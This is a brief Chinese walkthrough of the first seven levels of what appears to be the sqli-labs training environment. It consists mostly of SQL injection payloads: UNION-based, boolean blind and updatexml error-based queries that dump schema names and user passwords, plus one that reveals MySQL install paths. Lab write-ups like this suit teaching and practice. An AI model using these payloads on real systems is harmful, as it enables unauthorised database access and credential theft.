这里我们主要看查询语句,图片就不展示了
第一关
?id=1'order by 3 --+
?id=-1'union select 1,2,3--+
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
不用单引号
第三关
一个单引号加一个括号
第四关
一个双引号加一个括号
第五关
布尔盲注
?id=1' and length(database())=8--+
?id=1' and left((select database()),1)='s'--+
?id=1' and right((select database()),8)='security'--+
用报错的一种方式
爆库
?id=1' and updatexml(1,concat(1,(select database()),1),1)--+
爆表
?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema = 'security'limit 0,1),1),1)--+
爆列名
?id=1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails'limit 0,1),1),1)--+
爆出字段的内容
?id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+
select到limit后面结束这里运用到子查询的方法,任何数据都会查出来,
上面这种查询只是一个一个查出来,下面这种就可以把所有的数据都查询出来
另外一种报错的方式
爆库
?id=1' union select 1,2, (updatexml(1,concat(1,database()),1))--+
爆表
?id=1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1))--+
爆列名第一张表
?id=1' union select 1,2, (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1))--+
爆字段
?id=1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1))--+
第六关
把第五关的单引号换成双引号
第七关
?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
不能用联合查询和报错注入,因为没有报错信息和显示位